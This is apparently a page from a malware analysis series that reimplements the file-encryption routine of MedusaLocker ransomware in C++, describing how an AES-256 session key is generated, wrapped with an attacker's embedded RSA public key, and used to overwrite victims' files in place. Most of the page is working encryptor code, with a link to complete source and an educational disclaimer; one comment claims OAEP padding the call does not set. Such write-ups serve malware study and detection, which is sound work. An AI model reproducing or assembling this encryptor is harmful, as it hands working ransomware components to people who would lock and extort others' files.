MalwareAnalysisSeries

This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

MedusaLocker: Encrypter

MedusaLocker Image

This is the encryptor TTP extracted from MedusaLocker Ransomware. It uses a combination of AES and RSA keys for encrypting files. The ransomware first initializes the encryptor by setting encryption libraries and cryptographic context. It creates a random AES session key and encrypt it with the embedded attacker’s public key. It saves the encrypted AES key in the RansomNote first as a UNIQUE ID, and then launches the encryptor on whole system.

Implementation

Initiate Crypter

MedusaLocker ransomware uses Windows cryptographic libraries to encrypt files on system with AES-256 encryption algorithm. It also uses RSA public key (attacker’s key) embedded inside the malware to encrypt the AES-256 session key. To initiate the crypter, first these libraries must be imported and cryptographic context must be acquired for both AES and RSA algorithms. First we, need to generate AES key:

    // Generate an AES-256 session key for encrypting files
    if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        handleError("Failed to acquire cryptographic context");
    }
    if (!CryptGenKey(hCryptProv, CALG_AES_256, CRYPT_EXPORTABLE, &hKey)) {
        CryptReleaseContext(hCryptProv, 0);
        handleError("Failed to generate key");
    }
    // Get the block size for the algorithm;
    DWORD dwDataLen = sizeof(DWORD);
    if (!CryptGetKeyParam(hKey, KP_BLOCKLEN, (BYTE*)&blockSize, &dwDataLen, 0)) {
        CryptDestroyKey(hKey);
        CryptReleaseContext(hCryptProv, 0);
        handleError("Failed to get block size");
    }

Encrypt AES Key

Next step, that medusalocker follows is to import the embedded attacker’s public key, acquire the context for RSA encryption algorithm and use the imported public key to encrypt the AES session key:

    // Generate bytes from Base64 string (attacker's public key)
    std::vector<BYTE> publicKeyBytes;
    DWORD publicKeySize = 0;
    if (!CryptStringToBinaryA(publickey.c_str(), 0, CRYPT_STRING_BASE64, NULL, &publicKeySize, NULL, NULL)) {
        CryptReleaseContext(hCryptProv, 0);
        handleError("Error getting binary size");
    }
    publicKeyBytes.resize(publicKeySize);
    if (!CryptStringToBinaryA(publickey.c_str(), 0, CRYPT_STRING_BASE64, publicKeyBytes.data(), &publicKeySize, NULL, NULL)) {
        CryptReleaseContext(hCryptProv, 0);
        handleError("Error converting to binary");
    }

    HCRYPTKEY phKey = NULL;
    if (!CryptImportKey(hCryptProv, publicKeyBytes.data(), publicKeySize, 0, 0, &phKey)) {
        CryptDestroyKey(phKey);
        CryptDestroyKey(hKey);
        CryptReleaseContext(hCryptProv, 0);
        handleError("Error importing key");
    }

    //Export AES key for encrypting it with attacker's public key
    //Determine the size of the buffer needed for the exported key
    DWORD dwBufSizeAES = 0;
    if (!CryptExportKey(hKey, NULL, PLAINTEXTKEYBLOB, NULL, NULL, &dwBufSizeAES))
    {
        CryptDestroyKey(phKey);
        CryptDestroyKey(hKey);
        CryptReleaseContext(hCryptProv, 0);
        handleError("Error determining key buffer size");
    }

    // Allocate a buffer for the exported key
    std::vector<BYTE> pbAesKey(dwBufSizeAES, 0);

    // Export the key to the buffer
    if (!CryptExportKey(hKey, NULL, PLAINTEXTKEYBLOB, NULL, pbAesKey.data(), &dwBufSizeAES))
    {
        CryptDestroyKey(phKey);
        CryptDestroyKey(hKey);
        CryptReleaseContext(hCryptProv, 0);
        handleError("Error exporting key");
    }

    //Encrypt AES key with RSA public key
    //Determine the size of the buffer needed for the encrypted key
    DWORD dwBufSize = 0;
    if (!CryptEncrypt(phKey, NULL, TRUE, 0, NULL, &dwBufSize, 0))
    {
        CryptDestroyKey(phKey);
        CryptDestroyKey(hKey);
        CryptReleaseContext(hCryptProv, 0);
        handleError("Error determining encrypted buffer size");
    }

    // Allocate a buffer for the encrypted key
    std::vector<BYTE> pbEncryptedKey(dwBufSize, 0);

    // Encrypt the AES key with RSA-OAEP padding
    memcpy(pbEncryptedKey.data(), pbAesKey.data(), dwBufSize);
    if (!CryptEncrypt(phKey, NULL, TRUE, 0, pbEncryptedKey.data(), &dwBufSizeAES, dwBufSize))
    {
        CryptDestroyKey(phKey);
        CryptDestroyKey(hKey);
        CryptReleaseContext(hCryptProv, 0);
        handleError("Error encrypting AES key");
    }

    // Now pbEncryptedKey contains the encrypted AES key
    // Always destroy the keys after use
    CryptDestroyKey(phKey);

Encrypt Data

To encrypt the data, medusalocker uses CryptEncrypt API. It reads plain bytes from files, encrypt the bytes and overwrites on same input file. The extension could be added later. In each directory the prepared ransome note is also placed which contains the encrypted AES key with attacker’s public key named as “Personal ID” in the ransom note.

    // Open the input file
    ifstream fin(inputFile, ios::binary | ios::ate);
    if (!fin.is_open()) {
        cerr << "Failed to open input file" << endl;
        return;
    }

    streampos size = fin.tellg();
    vector<char> data(size);
    fin.seekg(0, ios::beg);
    fin.read(data.data(), size);
    fin.close();

    // Encrypt the data
    DWORD encryptedDataSize = static_cast<DWORD>(size) + (blockSize / 8);
    vector<BYTE> encryptedData(encryptedDataSize);
    memcpy(encryptedData.data(), data.data(), size);

    DWORD dwSize = static_cast<DWORD>(size);
    if (!CryptEncrypt(hKey, NULL, TRUE, 0, encryptedData.data(), &dwSize, encryptedDataSize)) {
        cerr << "Failed to encrypt data" << endl;
        return;
    }

    // Write the encrypted data to the output file
    ofstream fout(inputFile, ios::binary);
    if (!fout.is_open()) {
        cerr << "Failed to open output file" << endl;
        return;
    }

    if (!fout.write(reinterpret_cast<char*>(encryptedData.data()), dwSize))
    {
        cerr << "Failed to write encrypted file" << endl;
        return;
    }
    fout.close();

Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries

Disclaimer

NOTE: Artifacts and code of this repository is intended for educational purposes only !